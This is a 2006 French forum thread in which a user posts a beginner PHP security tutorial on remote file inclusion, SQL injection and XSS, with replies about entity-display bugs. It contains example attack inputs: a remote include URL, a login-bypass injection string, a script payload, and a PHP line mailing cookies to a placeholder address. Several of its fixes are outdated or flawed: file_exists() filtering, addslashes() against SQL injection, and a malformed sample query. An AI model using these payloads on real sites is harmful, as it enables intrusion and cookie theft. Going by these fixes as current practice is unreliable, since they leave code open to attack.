Chargement en cours...
Connexion au forum informatique de Sur-la-Toile
La discussion « Tutorial : comment éviter les failles PHP sur son site . » se trouve dans le forum « Programmation »
Statut de la discussion » Tutorial : comment éviter les failles PHP sur son site . « ( normale)

Tutorial : comment éviter les failles PHP sur son site .

» Liste des Forums » Programmation » Discussion
» Discussion disponible en mode résumé (3 messages)

Le 16-05-2006 à 06:00 #

Bon suite a une insomnie j'ai décidé de faire un petit tuto de sécurité basique en PHP .

Alors première faille a éviter la faille INCLUDE :

les sites qui sont susceptible d'avoir cette faille , c'est les sites ou vous voyez des URL du genre http://www.monsite.com/index.php?mod=mapage .

pour la simple raison que 'mapage' est un fichier qui est inclus dans la page affichée donc index.php, alors si la faille existe on peu faire http://www.monsite.com/index.php?mod=http://sitecible.com/script et vous
pouvez ainsi faire exécuter n'importe quel script .

pour éviter la faille c'est simple prenons ce code :

<?php
// si la variable mod passé par l'url est définie
if(isset($_GET['mod']))
{
// on vas inclure la valeur de mod (exemple mod=mapage) et on rajoute (.php)
// a la fin
include $_GET['mod'].'.php';
}
// sinon on c'est le fichier news.php qu'on va inclure
else
{
include 'news.php';
}
?>


la variable mod n'est pas filtrée donc on peu si mod est égale à http://sitecible.com/script un .php inclure une page distante, donc c'est la que se situe la faille.

Solution :

il faut s'assurer que la variable mod est bien un fichier sur notre serveur pour cela on utiliseras la fonction file_exists() .


<?php
// si la variable mod passé par l'url est définie et le fichier demandé existe existe sur notre serveur
if(isset($_GET['mod']) && file_exists($_GET['mod'].'.php'))
{
// on vas inclure la valeur de mod (exemple mod=mapage) et on rajoute (.php)
// a la fin
include $_GET['mod'].'.php';
}
// sinon on c'est le fichier news.php qu'on va inclure
else
{
include 'news.php';
}
?>
[/quotee]

voila notre faille réparée , pour plus d'explications n'hésitez pas .

prochain tuto si ça vous intéresse les injections SQL

Modérateur : Remplacement des balises code par quote (citation), car bug des balises codes (voir deuxième et troisième post !)

[ Ce message a ete modifié par : : vava288 le 16-05-2006 07:58 ]

Le 16-05-2006 à 07:51 #

salut
tes entités de caracteres n'ont pas été prise en compte

je pense que c'est a cause du amp; que tu a mit apres les &

d'apres mes souvenirs il ne faut pas le mettre sur les entités de caracteres

ps: si un moderateur peut enlever mon post (une fois le probleme corigé) pour que les tutos ne soit pas separé par un post

merci



[ Ce message a ete modifié par : : roi_soleil le 16-05-2006 07:55 ]

Le 16-05-2006 à 07:57 #

Bonjour,

non, c'est en fait que la balise code est nulle.

Elle ne prends pas correctement en compte les >

Exemple :

Code:

&gt;



Les injections SQL, ça ma m'interresser, surement plus que ça, car je le savais déjà...

En plus c'est comphréensible, j'attends de pied ferme ton prochain tuto !

Je corrige ton code en enlevant les balises code et en mettant des quote
Et à l'avenir, utilise plutôt "quote" que "code", ce sera bcp mieux

[ Ce message a ete modifié par : : vava288 le 16-05-2006 07:59 ]

Le 16-05-2006 à 08:49 #

L'injection SQL :

l'injection SQL consiste à modifier une requête d'un script par injection d'un code non prévu dans le script d'origine .

je vais essayer de donner un exemple simple, imaginons une requête qui permet l'identification .


mysql_query ("SELECT id WHERE login='".$_GET['pseudo']."' AND pass='".$_GET['password']"' ");

si le pirate au lieu de mettre un pseudo dans le champ du formulaire prévu pour cela, met webmaster'-- que se passe t'il au niveau de la requête .

mysql_query ("SELECT id WHERE login='webmaster'--'

les -- veulent dire que ce qui suit est un commentaire , donc n'est pas pris en compte , le mot de passe non plus n'as pas été comparé, ce qui veux dire que la personne a utilisé l'identité du webmaster et a tout les privilèges.

avant de donner la solution il faut savoir que les injections SQL peuvent être utilisèrent d'un nombre incroyable de façon, par exemple si vous faites une requête sur une table qui ne contient pas de données sensibles, ne croyez pas que vous n'avez rien a craindre, car le pirate peu faire par exemple une Jointure, ou bien un UPDATE .

donc avant de faire une requête il faut absolument sécuriser les données recueillies depuis un formulaire et cela a l'aide de la fonction
addslashes()

Solution :
revenons a notre requête pour voir l'intérêt de addslashes()

$_GET['pseudo'] = addslashes ($_GET['pseudo']);
$_GET['password'] = addslashes ($_GET['password']);

mysql_query ("SELECT id WHERE login='".$_GET['pseudo']."' AND pass='".$_GET['password']"' ");

explications:
quand le pirate as mis comme pseudo webmaster'-- pour faire son injection SQL le ' est pris en compte dans la requête , avec addslashes le résultat est webmaster\\'-- ce qui fait que le ' est considéré comme faisant partie de la chaîne de caractère et ne seras donc pas traité dans la requête .

voila j'espère que c'était assez clair, vous m'excuserez de ne pas avoir donner plus d'exemples, mais le but premier est d'apprendre a éviter la faille et non de l'éxploiter


prochain tuto les failles XSS ou cross site scripting





[ Ce message a ete modifié par : : Deepblue le 16-05-2006 09:04 ]

Le 16-05-2006 à 09:01 #

Très interressant, résume bien, super !

Je l'attendais avant de partir ;)

Merci

Le 16-05-2006 à 09:26 #

pas de quoi ça fait toujours plaisir de partager

Le 16-05-2006 à 16:56 #

tres bon tutos!
je te souhaite d'avoir beaucoup de nuits d'insomnie pour avancer plus vite lol


ps:j'ai verifié et (meme si apparement il y a aussi une autre raison pour que ca ne marche pas ici) le & et enfete l'entitée de caractere de &
quand on fait &amp;lt; on ne demande pas au naviguateur d'afficher &lt; ou de la traduire si la traduction est possible

mais on lui demande d'afficher &lt; quoi qu'il en soit

surement que c'etait deja clair pour vous et dans ce cas la j'ecrit dans le vide mais moi je ne l'avait encore jammais comprit

@+


[ Ce message a ete modifié par : : roi_soleil le 16-05-2006 23:20 ]

Le 17-05-2006 à 09:35 #

salut roi soleil pas d'insomnie pour cette nuit n'empêche que je continue ;)

Failles XSS/CSS ou (cross site scripting):

Cette faille est sûrement la plus rependue sur le web, le principe est simple on vas utiliser l'entrée des formulaires pour exécuter un code PHP PERL ou JAVASCRIPT.

Exemple :
imaginons un livre d'or en tapant votre message vous mettez comme texte
<cript >alert("youpi ça marche !!")</ script

donc toute personne qui visualiseras ce message auras une fenêtre d'alerte avec comme texte (youpi ça marche !! ) .
alors imaginez si le hacker décide de mettre comme code :
<? mail(''email@exemple.com'', ''Cookie du webmaster'', $cookies); ?>

le hacker pourras récupérer les cookies de tout ceux qui visualise son message sur le livre d'or ce qui risque d'être très dangereux .

Solution :

Exemple d'un formulaire simple :

<form action="mapage.php" method="post">
<textarea name="message"></textarea>
<input type="submit" value="Envoyer" /></p>
</form>


récupération de données envoyées par le formulaire :

<?php
if(isset($_POST['message']))
{
echo $_POST['message']; //si le texte entré dans le formulaire est un code il //seras automatiquement exécuté par le navigateur .
}
?>


code corrigé :
<?php
if(isset($_POST['message']))
{
echo htmlentities($_POST['message']); //si le texte entré dans le formulaire est un code il //seras affiché et non exécuté .
}
?>


Explications :
on aurait pu par exemple stocké le message dans la base de données, et en utilisant htmlentities() vous remarquerez que dans la bdd l'existence de caractères spéciaux qui n'étaient pas dans le message d'origine, en effet htmlentities convertit tous les caractères éligibles en entités HTML . exemple & ; donne & ou bien < donne < ce qui empêche que votre navigateur interprète le code.

bien sur ceci n'est qu'un exemple les failles XSS peuvent être passé par l'url ou avoir d'autres utilisations .
Donc il faut garder a l'esprit que toutes variable passé par méthode POST ou GET doit être filtrée .


[ Ce message a ete modifié par : : Deepblue le 17-05-2006 11:14 ]


[ Ce message a ete modifié par : : Deepblue le 17-05-2006 15:58 ]

Le 17-05-2006 à 15:44 #

tu as encore fait une petite erreur d'entités de caracteres (je sais je suis chiant)

tu as voulut afficher &amp; mais tu as tappé &amp; ce qui affiche &


et cette faille je pense que c'est la plus importante car on en parle beaucoup moins

donc encore bravo

Le 17-05-2006 à 16:06 #

Merci roi_soleil c'est corrigé.

sinon la faille qui pour moi est la plus dangereuse pour sa facilité d'exploitation la faille XFS qui est très très rependue et pas assez exploité heureusement.

mais aussi on parle jamais des failles GHDB ou les HTTP header injection les XPath injection et ça deviens d plus en plus dur de sécuriser son site.

» Liste des Forums » Programmation

Sujets Connexes

Arakien & WéWé


Forums

Navigation


Publicité

Connectés

Il y a actuellement 545 visiteurs et 26 toiliens en ligne, ainsi que 11 connectés sur le tchat.

Recherche

Concours


Sauf mention contraire, le contenu du blog et du forum est sous licence Creative Commons By-Sa. Vous avez le droit de le reproduire à condition de citer l'auteur, de faire un lien vers la page d'origine, et de partager vos travaux dérivés selon les mêmes conditions.

Conditions d'utilisation -

Partenaires: [Informatique Multimédia] [Portail du Maroc] [Actualité High Tech]
[Tutoriaux Photoshop] [éligibilité ADSL] [Astuces Windows]

Page générée en 176 millisecondes sur WWW1.